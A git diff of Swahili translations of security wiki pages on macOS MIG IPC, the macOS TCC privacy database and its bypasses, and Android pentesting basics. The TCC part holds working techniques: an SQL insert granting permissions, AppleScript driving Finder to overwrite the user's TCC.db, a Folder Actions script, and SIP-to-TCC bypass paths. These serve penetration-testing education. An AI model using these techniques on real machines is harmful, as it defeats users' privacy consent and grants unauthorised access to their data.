- `procedure`: Inatarajia jibu
- `simpleprocedure`: Haitarajii jibu
- `simpleprocedure`: Haitarajia jibu
- `function`: Inatarajia jibu
### Example
@ -40,7 +40,7 @@ server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
```
Kumbuka kwamba **hoja ya kwanza ni bandari ya kuunganisha** na MIG itashughulikia **bandari ya majibu kiotomatiki** (isipokuwa unaita `mig_get_reply_port()` katika msimbo wa mteja). Aidha, **ID ya operesheni** itakuwa **mfuatano** ikianza na ID ya mfumo ulioonyeshwa (hivyo ikiwa operesheni imeondolewa inafutwa na `skip` inatumika ili bado kutumia ID yake).
Kumbuka kwamba **hoja ya kwanza ni bandari ya kuunganisha** na MIG itashughulikia **bandari ya majibu kiotomatiki** (isipokuwa unaita `mig_get_reply_port()` katika msimbo wa mteja). Zaidi ya hayo, **ID ya operesheni** itakuwa **mfuatano** ikianza na ID ya mfumo iliyoonyeshwa (hivyo ikiwa operesheni imeondolewa inafutwa na `skip` inatumika ili bado kutumia ID yake).
Sasa tumia MIG kuunda msimbo wa seva na mteja ambao utaweza kuwasiliana kati yao ili kuita kazi ya Subtract:
```bash
@ -52,7 +52,7 @@ Kadhaa ya faili mpya zitaundwa katika saraka ya sasa.
> Unaweza kupata mfano mgumu zaidi katika mfumo wako kwa kutumia: `mdfind mach_port.defs`\
> Na unaweza kuikamilisha kutoka kwenye folda ile ile kama faili kwa kutumia: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs`
Katika faili **`myipcServer.c`** na **`myipcServer.h`** unaweza kupata tangazo na ufafanuzi wa struct **`SERVERPREFmyipc_subsystem`**, ambayo kimsingi inafafanua kazi ya kuita kulingana na kitambulisho cha ujumbe kilichopokelewa (tulionyesha nambari ya kuanzia ya 500):
Katika faili **`myipcServer.c`** na **`myipcServer.h`** unaweza kupata tangazo na ufafanuzi wa muundo **`SERVERPREFmyipc_subsystem`**, ambao kimsingi unafafanua kazi ya kuita kulingana na kitambulisho cha ujumbe kilichopokelewa (tulionyesha nambari ya kuanzia 500):
{{#tabs}}
{{#tab name="myipcServer.c"}}
@ -108,7 +108,7 @@ Katika mfano huu tumefafanua tu kazi 1 katika maelezo, lakini kama tungeweza kuf
Ikiwa kazi ilitarajiwa kutuma **reply** kazi `mig_internal kern_return_t __MIG_check__Reply__<name>` pia ingekuwepo.
Kwa kweli inawezekana kubaini uhusiano huu katika struct **`subsystem_to_name_map_myipc`** kutoka **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* katika faili zingine):
Kwa kweli inawezekana kubaini uhusiano huu katika struct **`subsystem_to_name_map_myipc`** kutoka **`myipcServer.h`** (**`subsystem*to_name_map*\***`** katika faili zingine):
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
@ -217,13 +217,13 @@ USERPREFSubtract(port, 40, 2);
### NDR_record
NDR_record inasafirishwa na `libsystem_kernel.dylib`, na ni struct inayoruhusu MIG **kubadilisha data ili iwe huru na mfumo** ambao inatumika kwani MIG ilidhaniwa kutumika kati ya mifumo tofauti (na sio tu kwenye mashine moja).
NDR_record inasafirishwa na `libsystem_kernel.dylib`, na ni struct inayoruhusu MIG **kubadilisha data ili iweze kutumika bila kujali mfumo** inatumika kama MIG ilidhaniwa kutumika kati ya mifumo tofauti (na sio tu kwenye mashine moja).
Hii ni ya kuvutia kwa sababu ikiwa `_NDR_record` inapatikana katika binary kama utegemezi (`jtool2 -S <binary> | grep NDR` au `nm`), inamaanisha kwamba binary ni mteja au seva ya MIG.
Hii ni ya kuvutia kwa sababu ikiwa `_NDR_record` inapatikana katika binary kama utegemezi (`jtool2 -S <binary> | grep NDR` au `nm`), inamaanisha kwamba binary ni mteja au Server wa MIG.
Zaidi ya hayo, **seva za MIG** zina meza ya dispatch katika `__DATA.__const` (au katika `__CONST.__constdata` katika kernel ya macOS na `__DATA_CONST.__const` katika kernel nyingine za \*OS). Hii inaweza kutolewa kwa **`jtool2`**.
Zaidi ya hayo, **MIG servers** zina meza ya dispatch katika `__DATA.__const` (au katika `__CONST.__constdata` katika kernel ya macOS na `__DATA_CONST.__const` katika kernel nyingine za \*OS). Hii inaweza kutolewa kwa **`jtool2`**.
Na **wateja wa MIG** watatumia `__NDR_record` kutuma na `__mach_msg` kwa seva.
Na **MIG clients** zitatumia `__NDR_record` kutuma na `__mach_msg` kwa servers.
## Uchambuzi wa Binary
@ -241,7 +241,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
```
### Assembly
Ilielezwa awali kwamba kazi ambayo itashughulikia **kuita kazi sahihi kulingana na kitambulisho cha ujumbe kilichopokelewa** ilikuwa `myipc_server`. Hata hivyo, kwa kawaida hutakuwa na alama za binary (hakuna majina ya kazi), hivyo ni ya kuvutia **kuangalia jinsi inavyoonekana baada ya kutolewa** kwani itakuwa karibu sana (kanuni ya kazi hii ni huru kutoka kwa kazi zilizowekwa):
Ilielezwa awali kwamba kazi ambayo itashughulikia **kuita kazi sahihi kulingana na kitambulisho cha ujumbe kilichopokelewa** ilikuwa `myipc_server`. Hata hivyo, kwa kawaida hutakuwa na alama za binary (hakuna majina ya kazi), hivyo ni muhimu **kuangalia inavyoonekana baada ya kutafsiriwa** kwani itakuwa karibu sawa kila wakati (kanuni ya kazi hii haitegemei kazi zilizowekwa):
{{#tabs}}
{{#tab name="myipc_server decompiled 1"}}
@ -259,7 +259,7 @@ var_18 = arg1;
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// Kuitisha sign_extend_64 ambayo inaweza kusaidia kutambua kazi hii
// Hii inahifadhi katika rax kiashiria cha wito ambacho kinahitaji kuitwa
// Hii inahifadhi katika rax kiashiria cha simu ambacho kinahitaji kuitwa
// Angalia matumizi ya anwani 0x100004040 (array ya anwani za kazi)
// 0x1f4 = 500 (kitambulisho cha kuanzia)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
@ -289,7 +289,7 @@ return rax;
{{#endtab}}
{{#tab name="myipc_server decompiled 2"}}
Hii ni kazi ile ile iliyotolewa katika toleo tofauti la Hopper bure:
Hii ni kazi ile ile iliyotafsiriwa katika toleo tofauti la Hopper bure:
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
@ -332,7 +332,7 @@ if (CPU_FLAGS & NE) {
r8 = 0x1;
}
}
// Vile vile ikiwa - vinginevyo kama katika toleo la awali
// Hali sawa kama katika toleo la awali
// Angalia matumizi ya anwani 0x100004040 (array ya anwani za kazi)
<strong> if ((r8 & 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
@ -365,7 +365,7 @@ return r0;
{{#endtab}}
{{#endtabs}}
Kwa kweli ikiwa utaenda kwenye kazi **`0x100004000`** utapata array ya **`routine_descriptor`** structs. Kigezo cha kwanza cha struct ni **anwani** ambapo **kazi** imeanzishwa, na **struct inachukua 0x28 bytes**, hivyo kila byte 0x28 (kuanzia byte 0) unaweza kupata byte 8 na hiyo itakuwa **anwani ya kazi** ambayo itaitwa:
Kwa kweli ikiwa utaenda kwenye kazi **`0x100004000`** utapata array ya **`routine_descriptor`** structs. Kigezo cha kwanza cha struct ni **anwani** ambapo **kazi** imewekwa, na **struct inachukua 0x28 bytes**, hivyo kila byte 0x28 (kuanzia byte 0) unaweza kupata byte 8 na hiyo itakuwa **anwani ya kazi** ambayo itaitwa:
<figure><img src="../../../../images/image (35).png" alt=""><figcaption></figcaption></figure>
@ -375,7 +375,7 @@ Data hii inaweza kutolewa [**kwa kutumia script hii ya Hopper**](https://github.
### Debug
Kanuni iliyozalishwa na MIG pia inaita `kernel_debug` ili kuzalisha kumbukumbu kuhusu operesheni kwenye kuingia na kutoka. Inawezekana kuangalia hizo kwa kutumia **`trace`** au **`kdv`**: `kdv all | grep MIG`
Kanuni iliyozalishwa na MIG pia inaita `kernel_debug` ili kuzalisha log kuhusu operesheni za kuingia na kutoka. Inawezekana kuangalia hizo kwa kutumia **`trace`** au **`kdv`**: `kdv all | grep MIG`
## References

View File

@ -4,9 +4,9 @@
## **Basic Information**
**TCC (Transparency, Consent, and Control)** ni itifaki ya usalama inayolenga kudhibiti ruhusa za programu. Jukumu lake kuu ni kulinda vipengele nyeti kama **huduma za eneo, mawasiliano, picha, kipaza sauti, kamera, upatikanaji, na ufikiaji wa diski nzima**. Kwa kuhitaji idhini wazi ya mtumiaji kabla ya kutoa ruhusa ya programu kwa vipengele hivi, TCC inaboresha faragha na udhibiti wa mtumiaji juu ya data zao.
**TCC (Transparency, Consent, and Control)** ni itifaki ya usalama inayolenga kudhibiti ruhusa za programu. Jukumu lake kuu ni kulinda vipengele nyeti kama **huduma za eneo, mawasiliano, picha, kipaza sauti, kamera, upatikanaji wa urahisi, na upatikanaji wa diski nzima**. Kwa kuhitaji idhini wazi ya mtumiaji kabla ya kutoa ruhusa kwa programu kuingia kwenye vipengele hivi, TCC inaboresha faragha na udhibiti wa mtumiaji juu ya data zao.
Watumiaji wanakutana na TCC wakati programu zinapohitaji ufikiaji wa vipengele vilivyolindwa. Hii inaonekana kupitia kipeperushi kinachowaruhusu watumiaji **kuthibitisha au kukataa ufikiaji**. Zaidi ya hayo, TCC inaruhusu vitendo vya moja kwa moja vya mtumiaji, kama **kuvuta na kuweka faili ndani ya programu**, ili kutoa ufikiaji wa faili maalum, kuhakikisha kwamba programu zina ufikiaji tu wa kile kilichoruhusiwa wazi.
Watumiaji wanakutana na TCC wakati programu zinapohitaji ruhusa kwa vipengele vilivyolindwa. Hii inaonekana kupitia kiashiria kinachowaruhusu watumiaji **kuthibitisha au kukataa ruhusa**. Zaidi ya hayo, TCC inaruhusu vitendo vya moja kwa moja vya mtumiaji, kama **kuvuta na kuacha faili ndani ya programu**, ili kutoa ruhusa kwa faili maalum, kuhakikisha kwamba programu zina upatikanaji tu kwa kile kilichoruhusiwa wazi.
![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
@ -29,20 +29,20 @@ Ruhusa/zuia kisha zinawekwa katika baadhi ya hifadhidata za TCC:
- Hifadhidata ya mfumo mzima katika **`/Library/Application Support/com.apple.TCC/TCC.db`**.
- Hifadhidata hii ina **ulinzi wa SIP**, hivyo ni lazima kupita SIP ili kuandika ndani yake.
- Hifadhidata ya mtumiaji TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** kwa mapendeleo ya mtumiaji binafsi.
- Hifadhidata hii inalindwa hivyo ni lazima michakato yenye ruhusa za juu za TCC kama Upatikanaji wa Disk Kamili inaweza kuandika ndani yake (lakini haijalindwa na SIP).
- Hifadhidata hii inalindwa hivyo ni lazima michakato yenye ruhusa za juu za TCC kama Upatikanaji wa Disk Kamili iweze kuandika ndani yake (lakini haijalindwa na SIP).
> [!WARNING]
> Hifadhidata za awali pia zina **ulinzi wa TCC kwa upatikanaji wa kusoma**. Hivyo hu **wezi kusoma** hifadhidata yako ya kawaida ya mtumiaji TCC isipokuwa inatoka kwa mchakato wenye ruhusa za TCC.
> Hifadhidata za awali pia zina **ulinzi wa TCC kwa ufikiaji wa kusoma**. Hivyo huwezi **kusoma** hifadhidata yako ya kawaida ya mtumiaji TCC isipokuwa inatoka kwa mchakato wenye ruhusa za TCC.
>
> Hata hivyo, kumbuka kwamba mchakato wenye ruhusa hizi za juu (kama **FDA** au **`kTCCServiceEndpointSecurityClient`**) utaweza kuandika hifadhidata ya TCC ya watumiaji.
> Hata hivyo, kumbuka kwamba mchakato wenye ruhusa hizi za juu (kama **FDA** au **`kTCCServiceEndpointSecurityClient`**) utaweza kuandika hifadhidata ya mtumiaji TCC.
- Kuna hifadhidata ya **tatu** ya TCC katika **`/var/db/locationd/clients.plist`** kuonyesha wateja walio ruhusiwa **kupata huduma za eneo**.
- Faili iliyo na ulinzi wa SIP **`/Users/carlospolop/Downloads/REG.db`** (pia inalindwa dhidi ya upatikanaji wa kusoma kwa TCC), ina **eneo** la hifadhidata zote za **halali za TCC**.
- Faili iliyo na ulinzi wa SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (pia inalindwa dhidi ya upatikanaji wa kusoma kwa TCC), ina ruhusa zaidi za TCC zilizotolewa.
- Kuna hifadhidata ya **tatu** ya TCC katika **`/var/db/locationd/clients.plist`** kuonyesha wateja walio ruhusiwa **kufikia huduma za eneo**.
- Faili iliyo na ulinzi wa SIP **`/Users/carlospolop/Downloads/REG.db`** (pia inalindwa dhidi ya ufikiaji wa kusoma kwa TCC), ina **eneo** la hifadhidata zote za **halali za TCC**.
- Faili iliyo na ulinzi wa SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (pia inalindwa dhidi ya ufikiaji wa kusoma kwa TCC), ina ruhusa zaidi za TCC zilizotolewa.
- Faili iliyo na ulinzi wa SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (inaweza kusomwa na mtu yeyote) ni orodha ya ruhusa za programu zinazohitaji ubaguzi wa TCC.
> [!TIP]
> Hifadhidata ya TCC katika **iOS** iko katika **`/private/var/mobile/Library/TCC/TCC.db`**
> Hifadhidata ya TCC katika **iOS** iko katika **`/private/var/mobile/Library/TCC/TCC.db`**.
> [!NOTE]
> **Kituo cha arifa UI** kinaweza kufanya **mabadiliko katika hifadhidata ya TCC ya mfumo**:
@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{{#endtabs}}
> [!TIP]
> Kuangalia hifadhidata zote mbili unaweza kuangalia ruhusa ambazo programu imekubali, imekataza, au haina (itauliza).
> Kuangalia hifadhidata zote mbili unaweza kuangalia ruhusa ambazo programu imekubali, imekataza, au haina (itauliza kwa hiyo).
- **`service`** ni uwakilishi wa mfuatano wa **ruhusa** za TCC
- **`client`** ni **bundle ID** au **njia ya binary** yenye ruhusa
@ -153,7 +153,7 @@ Fanya tu **`launctl load you_bin.plist`**, na plist kama:
- **`auth_value`** inaweza kuwa na thamani tofauti: denied(0), unknown(1), allowed(2), au limited(3).
- **`auth_reason`** inaweza kuchukua thamani zifuatazo: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
- Uwanja wa **csreq** upo ili kuonyesha jinsi ya kuthibitisha binary ili kutekeleza na kutoa ruhusa za TCC:
- Uwanja wa **csreq** uko hapo kuonyesha jinsi ya kuthibitisha binary ili kutekeleza na kutoa ruhusa za TCC:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@ -171,7 +171,7 @@ echo "X'$REQ_HEX'"
```
- Kwa maelezo zaidi kuhusu **sehemu nyingine** za jedwali [**angalia chapisho hili la blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
Unaweza pia kuangalia **idhini zilizotolewa tayari** kwa programu katika `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.
Unaweza pia kuangalia **idhini ambazo tayari zimetolewa** kwa programu katika `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`.
> [!TIP]
> Watumiaji _wanaweza_ **kufuta au kuuliza sheria** kwa kutumia **`tccutil`**.
@ -186,7 +186,7 @@ tccutil reset All
```
### TCC Signature Checks
Hifadhi ya TCC **inahifadhi** **Bundle ID** ya programu, lakini pia **inahifadhi** **habari** kuhusu **sahihi** ili **kuhakikisha** App inayotaka kutumia ruhusa ni sahihi.
The TCC **database** stores the **Bundle ID** of the application, but it also **stores** **information** about the **signature** to **make sure** the App asking to use the a permission is the correct one.
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -199,16 +199,16 @@ csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
```
> [!WARNING]
> Hivyo, programu nyingine zinazotumia jina moja na ID ya kifurushi hazitaweza kupata ruhusa zilizotolewa kwa programu nyingine.
> Kwa hivyo, programu nyingine zinazotumia jina sawa na ID ya kifurushi hazitaweza kupata ruhusa zilizotolewa kwa programu nyingine.
### Haki & Ruhusa za TCC
Programu **hazihitaji tu** **kuomba** na **kupewa ruhusa** kwa baadhi ya rasilimali, zinahitaji pia **kuwa na haki zinazofaa**.\
Kwa mfano, **Telegram** ina haki `com.apple.security.device.camera` kuomba **ruhusa ya kutumia kamera**. Programu **ambayo haina** haki hii **haitaweza** kupata kamera (na mtumiaji hataulizwa kuhusu ruhusa).
Programu **hazihitaji tu** ku **omba** na kupewa **ruhsusa** kwa baadhi ya rasilimali, zinahitaji pia **kuwa na haki zinazohusiana.**\
Kwa mfano, **Telegram** ina haki `com.apple.security.device.camera` kuomba **ruhsusa ya kutumia kamera.** Programu **ambayo** **haina** haki hii **haitaweza** kupata kamera (na mtumiaji hataulizwa kuhusu ruhusa).
Hata hivyo, ili programu **zipate** **kufikia** **folda fulani za mtumiaji**, kama vile `~/Desktop`, `~/Downloads` na `~/Documents`, **hazihitaji** kuwa na haki maalum **zozote.** Mfumo utaendesha ufikiaji kwa uwazi na **kuuliza mtumiaji** inapohitajika.
Hata hivyo, ili programu **zipate** **kufikia** **folda fulani za mtumiaji**, kama `~/Desktop`, `~/Downloads` na `~/Documents`, **hazihitaji** kuwa na haki maalum **zaidi.** Mfumo utaendesha ufikiaji kwa uwazi na **kuuliza mtumiaji** inapohitajika.
Programu za Apple **hazitaunda maonyesho**. Zinajumuisha **haki zilizotolewa mapema** katika orodha yao ya **haki**, ikimaanisha hazita **wahi kuunda popup**, **wala** hazitaonekana katika yoyote ya **maktaba za TCC.** Kwa mfano:
Programu za Apple **hazitaunda maonyesho.** Zinashikilia **haki zilizotolewa mapema** katika orodha yao ya **haki**, ikimaanisha hazita **unda popup** kamwe, **wala** hazitaonekana katika yoyote ya **maktaba za TCC.** Kwa mfano:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -219,12 +219,12 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string>
</array>
```
Hii itakwepa Calendar kuomba mtumiaji kupata kumbukumbu, kalenda na kitabu cha anwani.
Hii itazuia Calendar kumuuliza mtumiaji kupata kumbukumbu, kalenda na kitabu cha anwani.
> [!TIP]
> Mbali na baadhi ya nyaraka rasmi kuhusu ruhusa, pia inawezekana kupata **habari za kuvutia kuhusu ruhusa katika** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
Baadhi ya ruhusa za TCC ni: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Hakuna orodha ya umma inayofafanua zote lakini unaweza kuangalia hii [**orodha ya zinazojulikana**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
Baadhi ya ruhusa za TCC ni: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Hakuna orodha ya umma inayofafanua zote lakini unaweza kuangalia hii [**orodha ya zile zinazojulikana**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
### Mahali salama yasiyolindwa
@ -258,13 +258,13 @@ Sifa ya ziada `com.apple.macl` **haiwezi kufutwa** kama sifa nyingine za ziada k
## TCC Privesc & Bypasses
### Ingiza kwenye TCC
### Ingiza katika TCC
Ikiwa katika wakati fulani unafanikiwa kupata ufikiaji wa kuandika kwenye hifadhidata ya TCC unaweza kutumia kitu kama ifuatavyo kuongeza kipengee (ondoa maoni):
Ikiwa kwa wakati fulani unafanikiwa kupata ufikiaji wa kuandika juu ya hifadhidata ya TCC unaweza kutumia kitu kama ifuatavyo kuongeza kipengee (ondoa maoni):
<details>
<summary>Ingiza kwenye TCC mfano</summary>
<summary>Ingiza katika TCC mfano</summary>
```sql
INSERT INTO access (
service,
@ -325,9 +325,9 @@ macos-apple-events.md
### Automation (Finder) to FDA\*
Jina la TCC la ruhusa ya Automation ni: **`kTCCServiceAppleEvents`**\
Ruhusa hii maalum ya TCC pia inaashiria **programu ambayo inaweza kudhibitiwa** ndani ya database ya TCC (hivyo ruhusa haziruhusu kudhibiti kila kitu).
Ruhusa hii maalum ya TCC pia inaonyesha **programu ambayo inaweza kudhibitiwa** ndani ya hifadhidata ya TCC (hivyo ruhusa haziruhusu kudhibiti kila kitu).
**Finder** ni programu ambayo **daima ina FDA** (hata kama haionekani kwenye UI), hivyo ikiwa una **Automation** ruhusa juu yake, unaweza kutumia ruhusa zake ili **kuifanya ifanye baadhi ya vitendo**.\
**Finder** ni programu ambayo **daima ina FDA** (hata kama haionekani kwenye UI), hivyo ikiwa una **ruhusa za Automation** juu yake, unaweza kutumia ruhusa zake ili **kufanya vitendo vingine**.\
Katika kesi hii programu yako itahitaji ruhusa **`kTCCServiceAppleEvents`** juu ya **`com.apple.Finder`**.
{{#tabs}}
@ -361,9 +361,9 @@ EOD
Unaweza kutumia hii **kuandika database yako ya TCC ya mtumiaji**.
> [!WARNING]
> Kwa ruhusa hii utaweza **kuomba finder kufikia folda zilizozuiliwa za TCC** na kukupa faili, lakini kadri ninavyojua huwezi **kufanya Finder itekeleze msimbo wowote** ili kutumia kikamilifu ufikiaji wake wa FDA.
> Kwa ruhusa hii utaweza **kuomba finder kufikia folda zilizozuiwa za TCC** na kukupa faili, lakini kwa maelezo ninayojua huwezi **kufanya Finder itekeleze msimbo wowote** ili kutumia kikamilifu ufikiaji wake wa FDA.
>
> Hivyo basi, huwezi kutumia uwezo wote wa FDA.
> Hivyo, huwezi kutumia uwezo wote wa FDA.
Hii ni prompt ya TCC kupata ruhusa za Automation juu ya Finder:
@ -400,7 +400,7 @@ Vivyo hivyo na **Script Editor app,** inaweza kudhibiti Finder, lakini kwa kutum
### Automation (SE) kwa baadhi ya TCC
**Matukio ya Mfumo yanaweza kuunda Vitendo vya Folda, na Vitendo vya Folda vinaweza kufikia baadhi ya folda za TCC** (Desktop, Documents & Downloads), hivyo script kama ifuatayo inaweza kutumika kuboresha tabia hii:
**Matukio ya Mfumo yanaweza kuunda Vitendo vya Folda, na vitendo vya folda vinaweza kufikia baadhi ya folda za TCC** (Desktop, Documents & Downloads), hivyo script kama ifuatayo inaweza kutumika kuboresha tabia hii:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
@ -442,11 +442,11 @@ EOD
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
```
### Automation (SE) + Accessibility (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** to FDA\*
### Automation (SE) + Accessibility (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** kwa FDA\*
Automation kwenye **`System Events`** + Accessibility (**`kTCCServicePostEvent`**) inaruhusu kutuma **mipigo ya funguo kwa michakato**. Kwa njia hii unaweza kutumia Finder kubadilisha TCC.db ya watumiaji au kutoa FDA kwa programu yoyote (ingawa nenosiri linaweza kuombwa kwa hili).
Automatisering kwenye **`System Events`** + Accessibility (**`kTCCServicePostEvent`**) inaruhusu kutuma **mipigo ya funguo kwa michakato**. Kwa njia hii unaweza kutumia Finder kubadilisha TCC.db ya watumiaji au kutoa FDA kwa programu yoyote (ingawa nenosiri linaweza kuombwa kwa hili).
Mfano wa Finder kuandika tena TCC.db ya watumiaji:
Mfano wa Finder inayoandika TCC.db ya watumiaji:
```applescript
-- store the TCC.db file to copy in /tmp
osascript <<EOF
@ -494,7 +494,7 @@ EOF
```
### `kTCCServiceAccessibility` kwa FDA\*
Angalia ukurasa huu kwa baadhi ya [**payloads za kutumia ruhusa za Accessibility**](macos-tcc-payloads.md#accessibility) ili privesc kwa FDA\* au kuendesha keylogger kwa mfano.
Angalia ukurasa huu kwa [**payloads za kutumia vibaya ruhusa za Accessibility**](macos-tcc-payloads.md#accessibility) ili kupandisha hadhi hadi FDA\* au kuendesha keylogger kwa mfano.
### **Mteja wa Usalama wa Kituo kwa FDA**
@ -504,28 +504,28 @@ Ikiwa una **`kTCCServiceEndpointSecurityClient`**, una FDA. Mwisho.
**`kTCCServiceSystemPolicySysAdminFiles`** inaruhusu **kubadilisha** sifa ya **`NFSHomeDirectory`** ya mtumiaji ambayo inabadilisha folda yake ya nyumbani na hivyo inaruhusu **kuepuka TCC**.
### TCC DB ya Mtumiaji kwa FDA
### DB ya TCC ya Mtumiaji kwa FDA
Kupata **ruhusa za kuandika** juu ya **database ya TCC ya mtumiaji** huwezi kujipa **`FDA`** ruhusa, ni yule aliye katika database ya mfumo pekee anayeweza kutoa hiyo.
Lakini unaweza **kujipe** **`Haki za Automation kwa Finder`**, na kutumia mbinu ya awali ili kupandisha hadhi hadi FDA\*.
Lakini unaweza **kujipe** **`Ruhusa za Automation kwa Finder`**, na kutumia mbinu ya awali kupandisha hadi FDA\*.
### **FDA hadi ruhusa za TCC**
**Upatikanaji wa Disk Kamili** ni jina la TCC ni **`kTCCServiceSystemPolicyAllFiles`**
Sidhani hii ni privesc halisi, lakini kwa bahati mbaya ukiona inafaida: Ikiwa unadhibiti programu yenye FDA unaweza **kubadilisha database ya TCC ya watumiaji na kujipa ufikiaji wowote**. Hii inaweza kuwa na manufaa kama mbinu ya kudumu endapo unaweza kupoteza ruhusa zako za FDA.
Sidhani hii ni privesc halisi, lakini kwa kuwa unaweza kuiona kuwa ya manufaa: Ikiwa unadhibiti programu yenye FDA unaweza **kubadilisha database ya TCC ya watumiaji na kujipa ufikiaji wowote**. Hii inaweza kuwa ya manufaa kama mbinu ya kudumu endapo unaweza kupoteza ruhusa zako za FDA.
### **Kuepuka SIP hadi Kuepuka TCC**
Database ya **TCC ya mfumo** inalindwa na **SIP**, ndiyo maana ni mchakato pekee wenye **entitlements zilizotajwa zitakuwa na uwezo wa kuibadilisha**. Hivyo, ikiwa mshambuliaji atapata **kuepuka SIP** juu ya **faili** (kuwa na uwezo wa kubadilisha faili iliyozuiliwa na SIP), ataweza:
Database ya **TCC ya mfumo** inalindwa na **SIP**, ndiyo maana ni mchakato pekee wenye **entitlements zilizotajwa zitakazoweza kuibadilisha**. Hivyo, ikiwa mshambuliaji atapata **kuepuka SIP** juu ya **faili** (kuwa na uwezo wa kubadilisha faili iliyozuiliwa na SIP), ataweza:
- **Kuondoa ulinzi** wa database ya TCC, na kujipa ruhusa zote za TCC. Anaweza kutumia faili yoyote kati ya hizi kwa mfano:
- **Kuondoa ulinzi** wa database ya TCC, na kujipa ruhusa zote za TCC. Anaweza kutumia vibaya faili yoyote kati ya hizi kwa mfano:
- Database ya mifumo ya TCC
- REG.db
- MDMOverrides.plist
Hata hivyo, kuna chaguo lingine la kutumia **kuepuka SIP ili kuepuka TCC**, faili `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` ni orodha ya ruhusa za programu zinazohitaji ubaguzi wa TCC. Hivyo, ikiwa mshambuliaji anaweza **kuondoa ulinzi wa SIP** kutoka kwa faili hii na kuongeza **programu yake mwenyewe** programu hiyo itakuwa na uwezo wa kuepuka TCC.\
Hata hivyo, kuna chaguo lingine la kutumia vibaya **kuepuka SIP ili kuepuka TCC**, faili `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` ni orodha ya ruhusa za programu zinazohitaji msamaha wa TCC. Hivyo, ikiwa mshambuliaji anaweza **kuondoa ulinzi wa SIP** kutoka kwa faili hii na kuongeza **programu yake mwenyewe** programu hiyo itakuwa na uwezo wa kuepuka TCC.\
Kwa mfano kuongeza terminal:
```bash
# Get needed info

View File

@ -13,14 +13,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Hii ni zana kuu unayohitaji kuungana na kifaa cha android (kilichosimuliwa au halisi).\
**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Network** kutoka kwa kompyuta. Hii utility inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala** ya data, **kusoma** logi, kati ya kazi nyingine.
**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Network** kutoka kwa kompyuta. Hii huduma inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala** ya data, **kusoma** kumbukumbu, kati ya kazi nyingine.
Angalia orodha ifuatayo ya [**ADB Commands**](adb-commands.md) kujifunza jinsi ya kutumia adb.
## Smali
Wakati mwingine ni ya kuvutia **kubadilisha msimbo wa programu** ili kufikia **habari zilizofichwa** (labda nywila au bendera zilizofichwa vizuri). Basi, inaweza kuwa ya kuvutia decompile apk, kubadilisha msimbo na kuirekebisha.\
[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala wa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambao utawasilishwa. Basi, **weka daima katika akili uwezekano huu**.
Wakati mwingine ni muhimu **kubadilisha msimbo wa programu** ili kufikia **habari zilizofichwa** (labda nywila au bendera zilizofichwa vizuri). Hivyo, inaweza kuwa ya kuvutia decompile apk, kubadilisha msimbo na kuirekebisha.\
